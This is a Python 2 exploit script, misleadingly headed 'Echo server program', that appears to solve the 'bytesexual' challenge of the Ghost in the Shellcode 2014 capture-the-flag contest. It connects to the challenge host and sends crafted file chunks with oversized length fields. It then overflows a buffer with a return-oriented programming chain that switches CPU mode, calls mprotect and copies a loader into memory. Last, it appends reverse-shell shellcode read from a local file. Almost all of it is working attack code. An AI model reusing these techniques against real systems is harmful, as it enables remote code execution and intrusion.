# Echo server program
import socket
import struct
import sys
import os
import base64
import telnetlib

def RecvUntil(sock, txt):
  d = ""
  while d.find(txt) == -1:
    try:
      dnow = sock.recv(1024)
      if len(dnow) == 0:
        print "[WARNING] RecvUntil() failed at recv"
        return False
    except socket.error as msg:
      print "[WARNING] RecvUntil() failed:", msg
      return False

    d += dnow

  return d

def ValidChunkJFE(be, name, data):
  chunk_len = len(name) + len(data) + 10

  if be:
    p = "\0EFJ"
    p += struct.pack("<I", chunk_len)
    p += struct.pack(">H", len(name))
  else:
    p = "JFE\0"
    p += struct.pack(">I", chunk_len)
    p += struct.pack("<H", len(name))    
  p += name + data
  return p

def ValidChunkJTL(be):
  payload = "ABCD\4\0\0\0"
  length = 8 + len(payload)

  if be:
    p = "\0LTJ"
    p += struct.pack("<I", length)
  else:
    p = "JTL\0"
    p += struct.pack(">I", length)

  p += payload

  return p


def dw(x):
  return struct.pack("<I", x)

def set_eax_edi(eax, edi):
  x = ""
  x += dw(0x0804863d) # pop edi, pop ebp, ret
  x += dw(eax)        # edi for now
  x += dw(0)          # ebp = whatever
  x += dw(0x0804863a) # mov eax, edi; pop esi, edi, ebp
  x += dw(0) + dw(edi) + dw(0) # esi=edi=ebp=0
  return x

def set_eax_ebx(eax, ebx):
  x = ""
  x += set_ebx(eax)
  x += dw(0x0804946a) # mov eax, ebx; inc ecx; pop ebx
  x += dw(ebx)
  return x

def set_ecx(ecx):
  # destroys eax edi esi ebp
  x = ""
  x += set_eax_edi(ecx, 0)
  x += dw(0x0804a670) # xchg eax, ecx
  return x

def set_ebx(ebx):
  x = ""
  x += dw(0x0804838d) # pop ebx
  x += dw(ebx)
  return x

def poke(addr, dword):
  # assume it destroys everything
  x = ""
  x += set_eax_edi(dword, addr)
  x += dw(0x0804a602) # stosd
  return x


def set_edx_eax_ebx(edx, eax, ebx):
  # + 4
  es = 0x2b
  x = ""
  x += poke(0x0804C180 + 0, edx)
  x += poke(0x0804C180 + 4, es)  
  x += set_eax_ebx(0x0804C180, eax)
  # ---> Offset: 08049467
  # 00000000  C410              les edx,[eax]
  # 00000002  49                dec ecx
  # 00000003  89D8              mov eax,ebx
  # 00000005  41                inc ecx
  # 00000006  5B                pop ebx
  # 00000007  C3                ret
  x += dw(0x8049467)
  x += dw(ebx)
  return x

def int80():
  return dw(0x080482e0)

def bytestodw(b):
  return struct.unpack("<I", b)[0]

def GenRop(copy_shellcode):
  rop = ""

  # RETF
  rop += dw(0x08048209) # retf
  rop += dw(0x0804863f) # a single ret
  rop += dw(0x00000023) # CS part of retf

  # mprotect
  rop += set_ecx(0x2000)     # size
  rop += set_edx_eax_ebx(7, 125, 0x08048000)
  rop += int80()

  # Copy shellcode
  i = 0

  # 4 * 5 == 20 bytes
  rop += poke(0x08048000 + i, bytestodw(copy_shellcode[i:i+4]))
  i += 4

  rop += poke(0x08048000 + i, bytestodw(copy_shellcode[i:i+4]))
  i += 4

  rop += poke(0x08048000 + i, bytestodw(copy_shellcode[i:i+4]))
  i += 4

  rop += poke(0x08048000 + i, bytestodw(copy_shellcode[i:i+4]))
  i += 4

  rop += poke(0x08048000 + i, bytestodw(copy_shellcode[i:i+4]))
  i += 4  

  # Return there.
  rop += dw(0x08048000)
  return rop


HOST = "bytesexual.2014.ghostintheshellcode.com"
PORT = 4334
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = RecvUntil(s, "CMD> ")
print data
s.sendall("1\n")
print RecvUntil(s, "file data")

p = ValidChunkJFE(False, "asdf", "pies")
q = ValidChunkJFE(True, "zzzz", "kot")

packet = (
"JBSP"+ # 00
struct.pack(">I", 30 + len(p) + len(q)) + # 04  Whole file size
"\1\0\0\0"+ # 08  Version perhaps?

"\0DFJ"+ # 0C  BE "JDF", last byte doesn't have to be \0
struct.pack("<I", 18 + len(p) + len(q)) + # 10  Whole JFD size perhaps?
struct.pack(">H", 8) + # 14  full size of chunk or sth
"WXYZ1234" + # << data
p +
q +
"")

print "p size: %.8x" % len(p)
print "Sending packet of length: %.8x" % len(packet)

s.sendall(struct.pack("<I", len(packet))) # Size of data
s.sendall(packet)

print RecvUntil(s, "CMD> ")
s.sendall("3\n")

print RecvUntil(s, "CMD> ")
s.sendall("4\n")
s.sendall("WXYZ1234\n")
s.sendall(struct.pack('>II', 0x80000010, 0x80000010))

print RecvUntil(s, "CMD> ")
s.sendall("4\n")
s.sendall("WXYZ1234\n")
s.sendall(ValidChunkJFE(False, "ala", "m" * 2000000))

f = open("revshell", "rb")
shellcode = f.read()
f.close()

f = open("loader", "rb")
loader = f.read()
f.close()

print RecvUntil(s, "CMD> ")
s.sendall("4\n")
s.sendall("WXYZ1234\n")
s.sendall(struct.pack('<II', 0x7fffffff, 0x7fffffff)) #ValidChunkJFE(True, "ala", "makota"))
s.sendall(("A" * 0x81c + GenRop(loader) + shellcode).ljust(100000, "\xcc"))

print s.recv(1024)
print s.recv(1024)
print s.recv(1024)

while True:
  pass

# Give control to user
t = telnetlib.Telnet()
t.sock = s
t.interact()


